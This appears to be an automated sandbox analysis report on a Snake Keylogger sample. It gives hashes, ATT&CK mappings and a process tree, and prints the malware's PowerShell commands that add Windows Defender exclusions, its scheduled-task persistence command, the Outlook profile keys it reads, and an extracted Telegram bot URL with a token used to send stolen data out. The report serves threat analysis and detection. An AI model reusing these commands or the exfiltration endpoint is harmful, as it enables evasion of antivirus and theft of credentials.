snakekeylogger | 6c9bfc38f2dd0b8e0ff1ae18e0286fd13cc7f27dfadace3a6663ae53ef3c1ed0

Analysis

max time kernel
121s
max time network
150s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
17-02-2025 09:23

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General

Target

PR-250116CIPLAGLC2501021SURBL.exe
Size

612KB
MD5

8a67b7c17273ba3a932aa9efaeed4689
SHA1

726a7774525cf246338ef98f26cd4c70450aea3e
SHA256

6c9bfc38f2dd0b8e0ff1ae18e0286fd13cc7f27dfadace3a6663ae53ef3c1ed0
SHA512

d8d239f832388c6faa32901149757bb481be4304db5c0192d876d4453cdad925662331eadf2b738e86f98d0ea3be517c3f3a19834af8039019339b3409f186eb
SSDEEP

12288:bxgmHugv1lqu5+hQBgJwKH7uYnFzJPaXXR+dR3JcK3Tc5R5v/Xs:t935+hzbfF8XXR+dR3JR3W/

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7905871292:AAHB1RJykyMoiHYER8WPqlFb1I5BK36XdbY/sendMessage?chat_id=986310232

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 5 IoCs

resource	yara_rule
behavioral1/memory/2996-26-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2996-28-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2996-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2996-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2996-23-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1040	powershell.exe
1828	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	reallyfreegeoip.org
4	checkip.dyndns.org
8	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3032 set thread context of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PR-250116CIPLAGLC2501021SURBL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2828	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1040	powershell.exe
1828	powershell.exe
3032	PR-250116CIPLAGLC2501021SURBL.exe
3032	PR-250116CIPLAGLC2501021SURBL.exe
2996	RegSvcs.exe
2996	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	1828	powershell.exe
Token: SeDebugPrivilege	3032	PR-250116CIPLAGLC2501021SURBL.exe
Token: SeDebugPrivilege	2996	RegSvcs.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 1040	3032	PR-250116CIPLAGLC2501021SURBL.exe	31
PID 3032 wrote to memory of 1040	3032	PR-250116CIPLAGLC2501021SURBL.exe	31
PID 3032 wrote to memory of 1040	3032	PR-250116CIPLAGLC2501021SURBL.exe	31
PID 3032 wrote to memory of 1040	3032	PR-250116CIPLAGLC2501021SURBL.exe	31
PID 3032 wrote to memory of 1828	3032	PR-250116CIPLAGLC2501021SURBL.exe	33
PID 3032 wrote to memory of 1828	3032	PR-250116CIPLAGLC2501021SURBL.exe	33
PID 3032 wrote to memory of 1828	3032	PR-250116CIPLAGLC2501021SURBL.exe	33
PID 3032 wrote to memory of 1828	3032	PR-250116CIPLAGLC2501021SURBL.exe	33
PID 3032 wrote to memory of 2828	3032	PR-250116CIPLAGLC2501021SURBL.exe	34
PID 3032 wrote to memory of 2828	3032	PR-250116CIPLAGLC2501021SURBL.exe	34
PID 3032 wrote to memory of 2828	3032	PR-250116CIPLAGLC2501021SURBL.exe	34
PID 3032 wrote to memory of 2828	3032	PR-250116CIPLAGLC2501021SURBL.exe	34
PID 3032 wrote to memory of 2860	3032	PR-250116CIPLAGLC2501021SURBL.exe	37
PID 3032 wrote to memory of 2860	3032	PR-250116CIPLAGLC2501021SURBL.exe	37
PID 3032 wrote to memory of 2860	3032	PR-250116CIPLAGLC2501021SURBL.exe	37
PID 3032 wrote to memory of 2860	3032	PR-250116CIPLAGLC2501021SURBL.exe	37
PID 3032 wrote to memory of 2860	3032	PR-250116CIPLAGLC2501021SURBL.exe	37
PID 3032 wrote to memory of 2860	3032	PR-250116CIPLAGLC2501021SURBL.exe	37
PID 3032 wrote to memory of 2860	3032	PR-250116CIPLAGLC2501021SURBL.exe	37
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38
PID 3032 wrote to memory of 2996	3032	PR-250116CIPLAGLC2501021SURBL.exe	38

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Users\Admin\AppData\Local\Temp\PR-250116CIPLAGLC2501021SURBL.exe
"C:\Users\Admin\AppData\Local\Temp\PR-250116CIPLAGLC2501021SURBL.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PR-250116CIPLAGLC2501021SURBL.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gXfBejd.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1828
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gXfBejd" /XML "C:\Users\Admin\AppData\Local\Temp\tmpEFDB.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2828
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  PID:2860
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:2996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmpEFDB.tmp

Filesize
1KB

MD5
66cf36f4f355ff9dc4e7118878366539

SHA1
e614127da8c71cf705dc0b2e026588ecd37c0b61

SHA256
5ff9e812ecb8de223e1a8dcb0e86a1ccf2e35257ded17628f89070f0ad6ab9c0

SHA512
5581d615f3a265b36424cfce9731a2ffb2dc26460f380da88845d624c4f2146a19421c61d896cffe91d1a618341bba04a211dd83c6d959848333bdcce8c7f4ed

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
b1b63b2d288496282478a6d2d8a9440c

SHA1
6757637fa11efa8bf6636718e74bef1959c03845

SHA256
e89e59909cca183b856de7b56c45d4e3cc19fb26a655b247fbddddde98bce10e

SHA512
05933dde71144d46474d42a6c74a4a6b655c77886570ff22d5d8aa7de411cdbf669dfdc6bb3f4396eff6de4fd2a615bdc6a1eb260d6e749ee5728df7a0aa3472

Download Submit
memory/2996-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2996-28-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2996-19-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2996-21-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2996-23-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2996-27-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2996-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2996-26-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3032-6-0x0000000000330000-0x000000000039A000-memory.dmp

Filesize
424KB

Download
memory/3032-1-0x0000000000E10000-0x0000000000EAE000-memory.dmp

Filesize
632KB

Download
memory/3032-0-0x000000007440E000-0x000000007440F000-memory.dmp

Filesize
4KB

Download
memory/3032-2-0x0000000074400000-0x0000000074AEE000-memory.dmp

Filesize
6.9MB

Download
memory/3032-3-0x0000000000440000-0x000000000045E000-memory.dmp

Filesize
120KB

Download
memory/3032-5-0x0000000074400000-0x0000000074AEE000-memory.dmp

Filesize
6.9MB

Download
memory/3032-4-0x000000007440E000-0x000000007440F000-memory.dmp

Filesize
4KB

Download
memory/3032-31-0x0000000074400000-0x0000000074AEE000-memory.dmp

Filesize
6.9MB

Download